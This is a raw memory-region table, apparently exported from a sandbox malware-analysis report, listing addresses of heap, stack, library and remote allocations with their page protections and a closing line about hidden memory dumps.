trusted library allocation
page read and write
1EA11345000
heap
page read and write
58C0000
heap
page read and write
741FD7E000
stack
page read and write
7FFD34AA0000
trusted library allocation
page read and write
1D5F9070000
heap
page read and write
138E908B000
heap
page read and write
B38000
stack
page read and write
1EA0E683000
heap
page read and write
541E000
stack
page read and write
16A9BD60000
heap
page read and write
1EA0E600000
heap
page read and write
5830000
trusted library allocation
page read and write
1D5FB190000
heap
page read and write
7FFD349C0000
trusted library allocation
page read and write
1EA0E6A1000
heap
page read and write
17BAA849000
heap
page read and write
138EAF21000
heap
page read and write
1FD4C3AC000
heap
page read and write
1FD32580000
trusted library allocation
page read and write
1EA11362000
heap
page read and write
138EAF28000
heap
page read and write
1D5FAE72000
heap
page read and write
1FD4C3A0000
heap
page read and write
1FD32330000
heap
page read and write
1130000
heap
page read and write
5030000
trusted library allocation
page read and write
138E907B000
heap
page read and write
17BA89AB000
heap
page read and write
17BA899D000
heap
page read and write
1FD34849000
trusted library allocation
page read and write
7FFD348C0000
trusted library allocation
page execute and read and write
1EA107BE000
heap
page read and write
1EA1131B000
heap
page read and write
1EA0E62F000
heap
page read and write
7FFD34960000
trusted library allocation
page execute and read and write
1D5FAEB0000
heap
page read and write
1EA1120F000
heap
page read and write
7FFD34A90000
trusted library allocation
page read and write
1B724B9000
stack
page read and write
17BB02AA000
trusted library allocation
page read and write
17BA8CE4000
heap
page read and write
138EAED7000
heap
page read and write
138EAA04000
heap
page read and write
1EA0E62B000
heap
page read and write
1D5FAEBB000
heap
page read and write
1FD323C7000
heap
page read and write
CC0000
heap
page read and write
1EA10824000
heap
page read and write
138E908F000
heap
page read and write
1D5FCD90000
trusted library allocation
page read and write
1FD346C2000
trusted library allocation
page read and write
1EA107D5000
heap
page read and write
5B60000
heap
page read and write
114C8FE000
stack
page read and write
4C0E000
stack
page read and write
138E8FA0000
heap
page read and write
138E9068000
heap
page read and write
1D5F8ECF000
heap
page read and write
1FD34409000
trusted library allocation
page read and write
6380000
heap
page read and write
2A3C000
stack
page read and write
1EA10794000
heap
page read and write
1D5FB191000
heap
page read and write
1B7263E000
stack
page read and write
1EA1136B000
heap
page read and write
16A9BD55000
heap
page read and write
D28000
heap
page read and write
742027E000
stack
page read and write
17BBAA7B000
trusted library allocation
page read and write
1EA0E630000
heap
page read and write
138EAEFB000
heap
page read and write
28AB4FF000
unkown
page read and write
56D0000
trusted library allocation
page read and write
1D5FA9A4000
heap
page read and write
1EA11351000
heap
page read and write
17BB0CAA000
trusted library allocation
page read and write
1D5FAEF1000
heap
page read and write
1D5FAF91000
heap
page read and write
1EA10852000
heap
page read and write
1EA10852000
heap
page read and write
1FD346E8000
trusted library allocation
page read and write
1FD342E1000
trusted library allocation
page read and write
40C000
remote allocation
page execute and read and write
1FD323B9000
heap
page read and write
1EA1045C000
heap
page read and write
7FFD34A20000
trusted library allocation
page read and write
4F90000
heap
page read and write
1D5FAF95000
heap
page read and write
1EA0E6E1000
heap
page read and write
1FD4C468000
heap
page read and write
7FFD34951000
trusted library allocation
page read and write
1D5FAD91000
heap
page read and write
1FD3237F000
heap
page read and write
2AA8000
trusted library allocation
page read and write
1FD4C61B000
heap
page read and write
7FFD34955000
trusted library allocation
page read and write
56FF9FB000
stack
page read and write
138E9060000
heap
page read and write
1FD3472B000
trusted library allocation
page read and write
531F000
stack
page read and write
1EA1046E000
heap
page read and write
138EAEEB000
heap
page read and write
CF8000
heap
page read and write
17BAAE06000
trusted library allocation
page read and write
7FFD347BC000
trusted library allocation
page read and write
138EAEDC000
heap
page read and write
4F93000
heap
page read and write
1D5FAE96000
heap
page read and write
1EA0E6F6000
heap
page read and write
7FFD349B0000
trusted library allocation
page read and write
1B7227E000
stack
page read and write
1EA10458000
heap
page read and write
17BBAA11000
trusted library allocation
page read and write
138EAEA3000
heap
page read and write
1EA10770000
heap
page read and write
17BAAE29000
trusted library allocation
page read and write
138EAEA3000
heap
page read and write
17BB0EFC000
trusted library allocation
page read and write
1EA1117A000
heap
page read and write
138EAEFB000
heap
page read and write
4FA0000
trusted library allocation
page execute and read and write
1EA107F4000
heap
page read and write
7FFD347A3000
trusted library allocation
page execute and read and write
55CA000
stack
page read and write
17BA8969000
heap
page read and write
1EA11373000
heap
page read and write
1EA0E683000
heap
page read and write
1D5F9260000
heap
page read and write
17BBAA20000
trusted library allocation
page read and write
741FEFE000
stack
page read and write
17BAA6D0000
heap
page readonly
3A71000
trusted library allocation
page read and write
1EA111FC000
heap
page read and write
DC1000
heap
page read and write
1D5FAE65000
heap
page read and write
1FD4C45D000
heap
page read and write
17BA89A3000
heap
page read and write
1D5F8EA8000
heap
page read and write
56EE000
trusted library allocation
page read and write
1FD349F5000
trusted library allocation
page read and write
138EAEC1000
heap
page read and write
1EA0E6C6000
heap
page read and write
1EA0E6E1000
heap
page read and write
1EA1134E000
heap
page read and write
1EA10446000
heap
page read and write
1FD4C3F6000
heap
page read and write
1EA10487000
heap
page read and write
1EA10852000
heap
page read and write
138E9087000
heap
page read and write
1EA1120E000
heap
page read and write
1EA1134E000
heap
page read and write
114C2FA000
stack
page read and write
17BAAA92000
trusted library allocation
page read and write
1EA1046A000
heap
page read and write
10BB000
trusted library allocation
page execute and read and write
1FD323D9000
heap
page read and write
1D5F8EBB000
heap
page read and write
1D5FAD50000
heap
page read and write
138E9087000
heap
page read and write
16A9BD50000
heap
page read and write
1FD32600000
heap
page read and write
114C4FF000
stack
page read and write
138E909A000
heap
page read and write
17BAE4AA000
trusted library allocation
page read and write
17BA8CE0000
heap
page read and write
1D5FAEA7000
heap
page read and write
1B7253E000
stack
page read and write
7FFD34AC0000
trusted library allocation
page read and write
7FFD349D0000
trusted library allocation
page read and write
1EA1120E000
heap
page read and write
1B71DDE000
stack
page read and write
1EA10854000
heap
page read and write
138EAFC5000
heap
page read and write
1EA11311000
heap
page read and write
1EA11143000
heap
page read and write
17BAA830000
heap
page read and write
108D000
trusted library allocation
page execute and read and write
109D000
trusted library allocation
page execute and read and write
1EA0E630000
heap
page read and write
1EA0E955000
heap
page read and write
1EA1046E000
heap
page read and write
138EB1C1000
heap
page read and write
7FFD349F0000
trusted library allocation
page read and write
1B7273B000
stack
page read and write
1384DFE000
stack
page read and write
3AD2000
trusted library allocation
page read and write
1FD34709000
trusted library allocation
page read and write
1093000
trusted library allocation
page read and write
1EA1120E000
heap
page read and write
7FFD349E0000
trusted library allocation
page read and write
56FFEFF000
stack
page read and write
1FD32690000
heap
page read and write
138ECD70000
trusted library allocation
page read and write
17BAB86A000
trusted library allocation
page read and write
7FFD3485C000
trusted library allocation
page execute and read and write
1EA0E64E000
heap
page read and write
17BAAC33000
trusted library allocation
page read and write
1EA10A90000
heap
page read and write
1140000
trusted library allocation
page read and write
1084000
trusted library allocation
page read and write
17BAA750000
trusted library allocation
page read and write
138E8F60000
heap
page read and write
138E90A5000
heap
page read and write
56DB000
trusted library allocation
page read and write
5860000
trusted library allocation
page execute and read and write
4F60000
heap
page execute and read and write
1EA11341000
heap
page read and write
1EA10854000
heap
page read and write
138EAEA7000
heap
page read and write
7DF443020000
trusted library allocation
page execute and read and write
2AA4000
trusted library allocation
page read and write
1EA0E669000
heap
page read and write
1FD343F8000
trusted library allocation
page read and write
2AA2000
trusted library allocation
page read and write
7FFD347A4000
trusted library allocation
page read and write
1D5FAF90000
heap
page read and write
7FFD34856000
trusted library allocation
page read and write
17BAC6AA000
trusted library allocation
page read and write
1D5FAEFA000
heap
page read and write
1EA10710000
remote allocation
page read and write
502D000
stack
page read and write
1FD343F5000
trusted library allocation
page read and write
16A9BE60000
heap
page read and write
1EA1134C000
heap
page read and write
138E908F000
heap
page read and write
1384FFE000
stack
page read and write
741F993000
stack
page read and write
1EA1120E000
heap
page read and write
1EA1134E000
heap
page read and write
1D5F8EC9000
heap
page read and write
1B723B7000
stack
page read and write
741FE7E000
stack
page read and write
1EA10975000
heap
page read and write
138EB295000
heap
page read and write
10A6000
trusted library allocation
page execute and read and write
10B0000
trusted library allocation
page read and write
1EA1044B000
heap
page read and write
1D5FAECB000
heap
page read and write
1EA0E6F1000
heap
page read and write
1EA1046A000
heap
page read and write
1EA10468000
heap
page read and write
7FFD34A00000
trusted library allocation
page read and write
DBC000
heap
page read and write
138EAFC0000
heap
page read and write
1EA0E6F1000
heap
page read and write
56D6000
trusted library allocation
page read and write
1FD3477C000
trusted library allocation
page read and write
7FFD347B0000
trusted library allocation
page read and write
1FD442F0000
trusted library allocation
page read and write
4A78000
trusted library allocation
page read and write
17BA8930000
heap
page read and write
138E908B000
heap
page read and write
1070000
trusted library allocation
page read and write
D26000
heap
page read and write
1EA10450000
heap
page read and write
1FD34406000
trusted library allocation
page read and write
17BA89AD000
heap
page read and write
1B7310E000
stack
page read and write
138E9080000
heap
page read and write
1EA1081A000
heap
page read and write
10B7000
trusted library allocation
page execute and read and write
138EAED4000
heap
page read and write
1EA1134C000
heap
page read and write
1EA1130E000
heap
page read and write
1EA10B40000
heap
page read and write
138EAED0000
heap
page read and write
17BAAE6A000
trusted library allocation
page read and write
1040000
heap
page read and write
1083000
trusted library allocation
page execute and read and write
1D5F8EA0000
heap
page read and write
138EAEC7000
heap
page read and write
1FD34A05000
trusted library allocation
page read and write
1FD32401000
heap
page read and write
138EAECC000
heap
page read and write
17BAA6A0000
trusted library allocation
page read and write
1EA0E65B000
heap
page read and write
138EAEC7000
heap
page read and write
7FFD34990000
trusted library allocation
page execute and read and write
2AB6000
trusted library allocation
page read and write
1EA10792000
heap
page read and write
138EAA00000
heap
page read and write
1FD3434A000
trusted library allocation
page read and write
1EA0E6CA000
heap
page read and write
1FD323A1000
heap
page read and write
400000
remote allocation
page execute and read and write
10D0000
trusted library allocation
page read and write
138EAEEB000
heap
page read and write
1EA0E669000
heap
page read and write
1EA10450000
heap
page read and write
56FF2FE000
stack
page read and write
1D5FAEE9000
heap
page read and write
5702000
trusted library allocation
page read and write
7FFD347A2000
trusted library allocation
page read and write
741FF7F000
stack
page read and write
1EA1130E000
heap
page read and write
1D5FAE72000
heap
page read and write
10B2000
trusted library allocation
page read and write
1B720FD000
stack
page read and write
5B71000
trusted library allocation
page read and write
1FD4C490000
heap
page read and write
1EA0E6B4000
heap
page read and write
1EA1046E000
heap
page read and write
1FD3476C000
trusted library allocation
page read and write
B79000
heap
page read and write
1EA107B9000
heap
page read and write
138E8F80000
heap
page read and write
138EAEA3000
heap
page read and write
1080000
trusted library allocation
page read and write
1B725BE000
stack
page read and write
1FD32540000
trusted library allocation
page read and write
5840000
trusted library allocation
page read and write
1FD4C458000
heap
page read and write
1EA1046E000
heap
page read and write
138E9087000
heap
page read and write
1EA107C0000
heap
page read and write
1D5FAED7000
heap
page read and write
1B721FD000
stack
page read and write
56DE000
trusted library allocation
page read and write
138EAEF0000
heap
page read and write
138E908A000
heap
page read and write
1EA0E64E000
heap
page read and write
1D5FAEAC000
heap
page read and write
28AB5FF000
stack
page read and write
1384BFF000
stack
page read and write
138EAEFB000
heap
page read and write
1FD4C530000
heap
page read and write
138EADC1000
heap
page read and write
1FD33F50000
heap
page execute and read and write
1D5FAEC4000
heap
page read and write
138EAE95000
heap
page read and write
1EA0E683000
heap
page read and write
1D5FAE7A000
heap
page read and write
7FFD34A10000
trusted library allocation
page read and write
1EA10487000
heap
page read and write
1EA11316000
heap
page read and write
138EAED7000
heap
page read and write
1FD33F90000
heap
page read and write
6375000
heap
page read and write
1EA10980000
heap
page read and write
CF0000
heap
page read and write
1EA11382000
heap
page read and write
17BA8972000
heap
page read and write
1EA11355000
heap
page read and write
138E8E80000
heap
page read and write
B70000
heap
page read and write
17BA8960000
heap
page read and write
1EA0E683000
heap
page read and write
138E908B000
heap
page read and write
1EA10AD0000
heap
page read and write
1EA1046E000
heap
page read and write
1EA10453000
heap
page read and write
1EA112D7000
heap
page read and write
1EA107C2000
heap
page read and write
1EA0E6A2000
heap
page read and write
1D5F8ECF000
heap
page read and write
1D5FAE90000
heap
page read and write
1EA0E6B1000
heap
page read and write
1D5FAE97000
heap
page read and write
1EA1130F000
heap
page read and write
1EA0E920000
heap
page read and write
17BAAA11000
trusted library allocation
page read and write
1D5FAEBB000
heap
page read and write
1FD33F96000
heap
page read and write
1EA0E6F6000
heap
page read and write
138EAF13000
heap
page read and write
5A6C000
stack
page read and write
741F9DE000
stack
page read and write
17BA89BD000
heap
page read and write
1FD3444B000
trusted library allocation
page read and write
114C6FF000
stack
page read and write
7FFD34A30000
trusted library allocation
page read and write
1FD442E1000
trusted library allocation
page read and write
1EA0E6F6000
heap
page read and write
1B7233F000
stack
page read and write
1FD4C8E0000
heap
page read and write
1384AFA000
stack
page read and write
1D5F8EE3000
heap
page read and write
1EA0E6F1000
heap
page read and write
56FEFB5000
stack
page read and write
1EA0E6B1000
heap
page read and write
6370000
heap
page read and write
1D5FAEBB000
heap
page read and write
56FF8FC000
stack
page read and write
138E8FA5000
heap
page read and write
1D5FAE91000
heap
page read and write
1B7243C000
stack
page read and write
1FD3469C000
trusted library allocation
page read and write
B76000
heap
page read and write
1EA11344000
heap
page read and write
138EAEE8000
heap
page read and write
17BAAA00000
heap
page execute and read and write
1D5FAEA7000
heap
page read and write
1EA10D40000
trusted library allocation
page read and write
138E908F000
heap
page read and write
1EA11261000
heap
page read and write
1D5F8E90000
heap
page read and write
16A9BCF0000
heap
page read and write
1EA10460000
heap
page read and write
1EA0E65B000
heap
page read and write
1EA0E68C000
heap
page read and write
1EA10455000
heap
page read and write
1B7217E000
stack
page read and write
17BAA310000
heap
page read and write
1090000
trusted library allocation
page read and write
138EAF2A000
heap
page read and write
10A0000
trusted library allocation
page read and write
17BAF8AA000
trusted library allocation
page read and write
1EA0E5B0000
heap
page read and write
1B7318D000
stack
page read and write
1EA111A3000
heap
page read and write
1EA10445000
heap
page read and write
1EA10812000
heap
page read and write
1D5FAE94000
heap
page read and write
1D5F8EDA000
heap
page read and write
7FFD34850000
trusted library allocation
page read and write
1FD323BF000
heap
page read and write
1EA11359000
heap
page read and write
1384EFF000
stack
page read and write
5039000
trusted library allocation
page read and write
1FD322F0000
heap
page read and write
1EA10448000
heap
page read and write
114C7FE000
stack
page read and write
1D5FAE92000
heap
page read and write
741FC7E000
stack
page read and write
1D5F8EC0000
heap
page read and write
1FD3474C000
trusted library allocation
page read and write
1EA107C7000
heap
page read and write
1EA1120E000
heap
page read and write
1D5FAE97000
heap
page read and write
1EA0E687000
heap
page read and write
7FFD34A70000
trusted library allocation
page read and write
138EAED7000
heap
page read and write
A3B000
stack
page read and write
111E000
stack
page read and write
17BAA9C0000
heap
page execute and read and write
7FFD34A60000
trusted library allocation
page read and write
56FF3FE000
stack
page read and write
1EA1046E000
heap
page read and write
1D5FA9A0000
heap
page read and write
1D5FAD90000
heap
page read and write
1EA1046E000
heap
page read and write
138E908F000
heap
page read and write
17BAADF6000
trusted library allocation
page read and write
56FFBFF000
stack
page read and write
1EA1046E000
heap
page read and write
1EA10710000
remote allocation
page read and write
1FD322C0000
heap
page read and write
5710000
trusted library allocation
page read and write
545E000
stack
page read and write
138EAF07000
heap
page read and write
5820000
trusted library allocation
page read and write
114C5FE000
stack
page read and write
1D5FAEC0000
heap
page read and write
555E000
stack
page read and write
1D5F8EDC000
heap
page read and write
1FD349E4000
trusted library allocation
page read and write
1EA10445000
heap
page read and write
1FD342FF000
trusted library allocation
page read and write
741FDFC000
stack
page read and write
138E90B4000
heap
page read and write
1FD34820000
trusted library allocation
page read and write
1FD4C397000
heap
page execute and read and write
1EA10920000
heap
page read and write
17BAAE66000
trusted library allocation
page read and write
17BAA330000
heap
page read and write
There are 667 hidden memdumps, click here to show them.